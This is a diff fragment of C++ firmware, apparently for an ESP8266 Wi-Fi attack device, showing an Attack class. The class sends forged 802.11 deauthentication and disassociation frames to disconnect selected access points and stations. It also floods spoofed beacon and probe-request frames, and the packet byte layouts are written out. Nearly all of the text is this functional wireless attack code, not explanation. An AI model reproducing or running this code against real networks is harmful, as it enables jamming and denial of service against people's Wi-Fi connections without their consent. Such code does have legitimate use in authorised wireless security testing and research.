deauthPkts = deauth.packetCounter;
|
deauthPkts = deauth.packetCounter;
|
||||||
beaconPkts = beacon.packetCounter;
|
beaconPkts = beacon.packetCounter;
|
||||||
probePkts = probe.packetCounter;
|
probePkts = probe.packetCounter;
|
||||||
packetRate = tmpPacketRate;
|
packetRate = tmpPacketRate;
|
||||||
deauth.packetCounter = 0;
|
deauth.packetCounter = 0;
|
||||||
beacon.packetCounter = 0;
|
beacon.packetCounter = 0;
|
||||||
probe.packetCounter = 0;
|
probe.packetCounter = 0;
|
||||||
deauth.tc = 0;
|
deauth.tc = 0;
|
||||||
beacon.tc = 0;
|
beacon.tc = 0;
|
||||||
probe.tc = 0;
|
probe.tc = 0;
|
||||||
tmpPacketRate = 0;
|
tmpPacketRate = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::status() {
|
void Attack::status() {
|
||||||
char s[120];
|
char s[120];
|
||||||
|
|
||||||
sprintf(s, str(
|
sprintf(s, str(
|
||||||
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
||||||
probe.maxPkts);
|
probe.maxPkts);
|
||||||
prnt(String(s));
|
prnt(String(s));
|
||||||
}
|
}
|
||||||
|
|
||||||
String Attack::getStatusJSON() {
|
String Attack::getStatusJSON() {
|
||||||
String json = String(OPEN_BRACKET); // [
|
String json = String(OPEN_BRACKET); // [
|
||||||
|
|
||||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
||||||
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||||
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||||
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||||
json += String(packetRate); // 0
|
json += String(packetRate); // 0
|
||||||
json += CLOSE_BRACKET; // ]
|
json += CLOSE_BRACKET; // ]
|
||||||
|
|
||||||
return json;
|
return json;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::update() {
|
void Attack::update() {
|
||||||
if (!running || scan.isScanning()) return;
|
if (!running || scan.isScanning()) return;
|
||||||
|
|
||||||
apCount = accesspoints.count();
|
apCount = accesspoints.count();
|
||||||
stCount = stations.count();
|
stCount = stations.count();
|
||||||
nCount = names.count();
|
nCount = names.count();
|
||||||
|
|
||||||
// run/update all attacks
|
// run/update all attacks
|
||||||
deauthUpdate();
|
deauthUpdate();
|
||||||
deauthAllUpdate();
|
deauthAllUpdate();
|
||||||
beaconUpdate();
|
beaconUpdate();
|
||||||
probeUpdate();
|
probeUpdate();
|
||||||
|
|
||||||
// each second
|
// each second
|
||||||
if (currentTime - attackTime > 1000) {
|
if (currentTime - attackTime > 1000) {
|
||||||
attackTime = currentTime; // update time
|
attackTime = currentTime; // update time
|
||||||
updateCounter();
|
updateCounter();
|
||||||
|
|
||||||
if (output) status(); // status update
|
if (output) status(); // status update
|
||||||
getRandomMac(mac); // generate new random mac
|
getRandomMac(mac); // generate new random mac
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::deauthUpdate() {
|
void Attack::deauthUpdate() {
|
||||||
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||||
// APs
|
// APs
|
||||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||||
if (accesspoints.getSelected(deauth.tc)) {
|
if (accesspoints.getSelected(deauth.tc)) {
|
||||||
deauth.tc += deauthAP(deauth.tc);
|
deauth.tc += deauthAP(deauth.tc);
|
||||||
} else deauth.tc++;
|
} else deauth.tc++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Stations
|
// Stations
|
||||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||||
if (stations.getSelected(deauth.tc - apCount)) {
|
if (stations.getSelected(deauth.tc - apCount)) {
|
||||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||||
} else deauth.tc++;
|
} else deauth.tc++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Names
|
// Names
|
||||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
||||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||||
} else deauth.tc++;
|
} else deauth.tc++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// reset counter
|
// reset counter
|
||||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::deauthAllUpdate() {
|
void Attack::deauthAllUpdate() {
|
||||||
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||||
// APs
|
// APs
|
||||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||||
|
|
||||||
if (tmpID < 0) {
|
if (tmpID < 0) {
|
||||||
deauth.tc += deauthAP(deauth.tc);
|
deauth.tc += deauthAP(deauth.tc);
|
||||||
} else if (!names.getSelected(tmpID)) {
|
} else if (!names.getSelected(tmpID)) {
|
||||||
deauth.tc += deauthAP(deauth.tc);
|
deauth.tc += deauthAP(deauth.tc);
|
||||||
} else deauth.tc++;
|
} else deauth.tc++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Stations
|
// Stations
|
||||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||||
|
|
||||||
if (tmpID < 0) {
|
if (tmpID < 0) {
|
||||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||||
} else if (!names.getSelected(tmpID)) {
|
} else if (!names.getSelected(tmpID)) {
|
||||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||||
} else deauth.tc++;
|
} else deauth.tc++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Names
|
// Names
|
||||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
||||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||||
} else deauth.tc++;
|
} else deauth.tc++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// reset counter
|
// reset counter
|
||||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::probeUpdate() {
|
void Attack::probeUpdate() {
|
||||||
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||||
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11);
|
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11);
|
||||||
probe.tc += sendProbe(probe.tc);
|
probe.tc += sendProbe(probe.tc);
|
||||||
|
|
||||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::beaconUpdate() {
|
void Attack::beaconUpdate() {
|
||||||
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
||||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||||
beacon.tc += sendBeacon(beacon.tc);
|
beacon.tc += sendBeacon(beacon.tc);
|
||||||
|
|
||||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::deauthStation(int num) {
|
bool Attack::deauthStation(int num) {
|
||||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num));
|
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::deauthAP(int num) {
|
bool Attack::deauthAP(int num) {
|
||||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
|
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::deauthName(int num) {
|
bool Attack::deauthName(int num) {
|
||||||
if (names.isStation(num)) {
|
if (names.isStation(num)) {
|
||||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
|
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
|
||||||
} else {
|
} else {
|
||||||
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
|
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
||||||
if (!stMac) return false; // exit when station mac is null
|
if (!stMac) return false; // exit when station mac is null
|
||||||
|
|
||||||
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
||||||
|
|
||||||
bool success = false;
|
bool success = false;
|
||||||
|
|
||||||
// build deauth packet
|
|
||||||
packetSize = sizeof(deauthPacket);
|
|
||||||
memcpy(&deauthPacket[4], stMac, 6);
|
|
||||||
memcpy(&deauthPacket[10], apMac, 6);
|
|
||||||
memcpy(&deauthPacket[16], apMac, 6);
|
|
||||||
deauthPacket[24] = reason;
|
|
||||||
|
|
||||||
// send deauth frame
|
|
||||||
deauthPacket[0] = 0xc0;
|
|
||||||
|
|
||||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
|
||||||
success = true;
|
|
||||||
deauth.packetCounter++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// send disassociate frame
|
|
||||||
deauthPacket[0] = 0xa0;
|
|
||||||
|
|
||||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
|
||||||
success = true;
|
|
||||||
deauth.packetCounter++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// send another packet, this time from the station to the accesspoint
|
|
||||||
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
|
||||||
// build deauth packet
|
// build deauth packet
|
||||||
memcpy(&deauthPacket[4], apMac, 6);
|
packetSize = sizeof(deauthPacket);
|
||||||
memcpy(&deauthPacket[10], stMac, 6);
|
memcpy(&deauthPacket[4], stMac, 6);
|
||||||
memcpy(&deauthPacket[16], stMac, 6);
|
memcpy(&deauthPacket[10], apMac, 6);
|
||||||
|
memcpy(&deauthPacket[16], apMac, 6);
|
||||||
|
deauthPacket[24] = reason;
|
||||||
|
|
||||||
// send deauth frame
|
// send deauth frame
|
||||||
deauthPacket[0] = 0xc0;
|
deauthPacket[0] = 0xc0;
|
||||||
|
|
||||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
success = true;
|
success = true;
|
||||||
deauth.packetCounter++;
|
deauth.packetCounter++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// send disassociate frame
|
// send disassociate frame
|
||||||
deauthPacket[0] = 0xa0;
|
deauthPacket[0] = 0xa0;
|
||||||
|
|
||||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
success = true;
|
success = true;
|
||||||
deauth.packetCounter++;
|
deauth.packetCounter++;
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (success) deauth.time = currentTime;
|
// send another packet, this time from the station to the accesspoint
|
||||||
|
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
||||||
|
// build deauth packet
|
||||||
|
memcpy(&deauthPacket[4], apMac, 6);
|
||||||
|
memcpy(&deauthPacket[10], stMac, 6);
|
||||||
|
memcpy(&deauthPacket[16], stMac, 6);
|
||||||
|
|
||||||
return success;
|
// send deauth frame
|
||||||
|
deauthPacket[0] = 0xc0;
|
||||||
|
|
||||||
|
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
|
success = true;
|
||||||
|
deauth.packetCounter++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// send disassociate frame
|
||||||
|
deauthPacket[0] = 0xa0;
|
||||||
|
|
||||||
|
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
|
success = true;
|
||||||
|
deauth.packetCounter++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (success) deauth.time = currentTime;
|
||||||
|
|
||||||
|
return success;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendBeacon(uint8_t tc) {
|
bool Attack::sendBeacon(uint8_t tc) {
|
||||||
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||||
mac[5] = tc;
|
mac[5] = tc;
|
||||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
||||||
packetSize = sizeof(beaconPacket);
|
packetSize = sizeof(beaconPacket);
|
||||||
|
|
||||||
if (wpa2) {
|
if (wpa2) {
|
||||||
beaconPacket[34] = 0x31;
|
beaconPacket[34] = 0x31;
|
||||||
} else {
|
} else {
|
||||||
beaconPacket[34] = 0x21;
|
beaconPacket[34] = 0x21;
|
||||||
packetSize -= 26;
|
packetSize -= 26;
|
||||||
}
|
}
|
||||||
|
|
||||||
int ssidLen = strlen(ssid);
|
int ssidLen = strlen(ssid);
|
||||||
|
|
||||||
if (ssidLen > 32) ssidLen = 32;
|
if (ssidLen > 32) ssidLen = 32;
|
||||||
|
|
||||||
memcpy(&beaconPacket[10], mac, 6);
|
memcpy(&beaconPacket[10], mac, 6);
|
||||||
memcpy(&beaconPacket[16], mac, 6);
|
memcpy(&beaconPacket[16], mac, 6);
|
||||||
memcpy(&beaconPacket[38], ssid, ssidLen);
|
memcpy(&beaconPacket[38], ssid, ssidLen);
|
||||||
|
|
||||||
beaconPacket[82] = ch;
|
beaconPacket[82] = ch;
|
||||||
|
|
||||||
// =====
|
// =====
|
||||||
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
|
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
|
||||||
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
|
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
|
||||||
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
|
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
|
||||||
tmpPacket[37] = ssidLen; // update SSID length byte
|
tmpPacket[37] = ssidLen; // update SSID length byte
|
||||||
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
||||||
|
|
||||||
if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) {
|
if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) {
|
||||||
beacon.time = currentTime;
|
beacon.time = currentTime;
|
||||||
beacon.packetCounter++;
|
beacon.packetCounter++;
|
||||||
delete tmpPacket; // free memory of allocated buffer
|
delete tmpPacket; // free memory of allocated buffer
|
||||||
return true;
|
return true;
|
||||||
} else {
|
} else {
|
||||||
delete tmpPacket; // free memory of allocated buffer
|
delete tmpPacket; // free memory of allocated buffer
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
// =====
|
// =====
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendProbe(uint8_t tc) {
|
bool Attack::sendProbe(uint8_t tc) {
|
||||||
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||||
mac[5] = tc;
|
mac[5] = tc;
|
||||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
||||||
packetSize = sizeof(probePacket);
|
packetSize = sizeof(probePacket);
|
||||||
int ssidLen = strlen(ssid);
|
int ssidLen = strlen(ssid);
|
||||||
|
|
||||||
if (ssidLen > 32) ssidLen = 32;
|
if (ssidLen > 32) ssidLen = 32;
|
||||||
|
|
||||||
memcpy(&probePacket[10], mac, 6);
|
memcpy(&probePacket[10], mac, 6);
|
||||||
memcpy(&probePacket[26], ssid, ssidLen);
|
memcpy(&probePacket[26], ssid, ssidLen);
|
||||||
|
|
||||||
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
|
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
probe.time = currentTime;
|
probe.time = currentTime;
|
||||||
probe.packetCounter++;
|
probe.packetCounter++;
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) {
|
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) {
|
||||||
// Serial.println(bytesToStr(packet, packetSize));
|
// Serial.println(bytesToStr(packet, packetSize));
|
||||||
|
|
||||||
// set channel
|
// set channel
|
||||||
setWifiChannel(ch);
|
setWifiChannel(ch);
|
||||||
|
|
||||||
// sent out packet
|
// sent out packet
|
||||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||||
|
|
||||||
// try again until it's sent out
|
// try again until it's sent out
|
||||||
for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||||
|
|
||||||
if (sent) tmpPacketRate++;
|
if (sent) tmpPacketRate++;
|
||||||
|
|
||||||
return sent;
|
return sent;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::enableOutput() {
|
void Attack::enableOutput() {
|
||||||
output = true;
|
output = true;
|
||||||
prntln(A_ENABLED_OUTPUT);
|
prntln(A_ENABLED_OUTPUT);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::disableOutput() {
|
void Attack::disableOutput() {
|
||||||
output = false;
|
output = false;
|
||||||
prntln(A_DISABLED_OUTPUT);
|
prntln(A_DISABLED_OUTPUT);
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getDeauthPkts() {
|
uint32_t Attack::getDeauthPkts() {
|
||||||
return deauthPkts;
|
return deauthPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getBeaconPkts() {
|
uint32_t Attack::getBeaconPkts() {
|
||||||
return beaconPkts;
|
return beaconPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getProbePkts() {
|
uint32_t Attack::getProbePkts() {
|
||||||
return probePkts;
|
return probePkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getDeauthMaxPkts() {
|
uint32_t Attack::getDeauthMaxPkts() {
|
||||||
return deauth.maxPkts;
|
return deauth.maxPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getBeaconMaxPkts() {
|
uint32_t Attack::getBeaconMaxPkts() {
|
||||||
return beacon.maxPkts;
|
return beacon.maxPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getProbeMaxPkts() {
|
uint32_t Attack::getProbeMaxPkts() {
|
||||||
return probe.maxPkts;
|
return probe.maxPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getPacketRate() {
|
uint32_t Attack::getPacketRate() {
|
||||||
return packetRate;
|
return packetRate;
|
||||||
}
|
}
|
||||||
@@ -126,21 +126,21 @@ class Attack {
|
|||||||
};
|
};
|
||||||
|
|
||||||
uint8_t probePacket[68] = {
|
uint8_t probePacket[68] = {
|
||||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
/* 58 - 59 */ 0x01, 0x04, // Tag Number: Supported Rates (1), Tag length: 4
|
/* 58 - 59 */ 0x01, 0x04, // Tag Number: Supported Rates (1), Tag length: 4
|
||||||
/* 60 */ 0x82, // 1(B)
|
/* 60 */ 0x82, // 1(B)
|
||||||
/* 61 */ 0x84, // 2(B)
|
/* 61 */ 0x84, // 2(B)
|
||||||
@@ -153,44 +153,44 @@ class Attack {
|
|||||||
};
|
};
|
||||||
|
|
||||||
uint8_t beaconPacket[109] = {
|
uint8_t beaconPacket[109] = {
|
||||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||||
|
|
||||||
// Fixed parameters
|
// Fixed parameters
|
||||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||||
/* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
/* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||||
|
|
||||||
// Tagged parameters
|
// Tagged parameters
|
||||||
|
|
||||||
// SSID parameters
|
// SSID parameters
|
||||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
